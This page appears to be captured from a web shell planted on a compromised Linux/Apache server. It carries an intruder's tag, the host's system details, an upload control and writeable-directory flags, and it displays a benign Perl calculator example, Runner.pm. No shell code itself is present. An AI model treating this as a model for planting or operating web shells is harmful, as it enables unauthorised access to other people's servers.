Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/doc/perl-Pegex/example/calculator/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/doc/perl-Pegex/example/calculator/lib/Runner.pm
package Runner;
use Mo;

has args => [];
has callback => ();

sub run {
    my ($self, $calc) = @_;
    $self->callback($calc);

    return $self->run_file if @{$self->{args}};

    while (1) {
        print "\nEnter an equation: ";
        my $expr = <> || '';
        chomp $expr;
        last unless length $expr;
        $self->calc($expr);
    }
}

sub run_file {
    my ($self) = @_;
    my $file = shift(@{$self->args});
    open IN, "<", $file or die "Can't open '$file' for input";
    while (<IN>) {
        next if /^(?:#|$)/;
        chomp;
        $self->calc($_);
    }
}

sub calc {
    my ($self, $expr) = @_;
    my $result = eval { $self->callback->($expr) };
    if ($@) {
        warn $@;
        return;
    }
    print "$expr = $result\n";

    # Double-check answer:
    $expr =~ s/\^/**/g;
    $expr =~ s/--/- -/g;
    my $want = eval $expr;
    print "  EXPECTED $want\n"
        if $result ne $want;
}

1;

Hry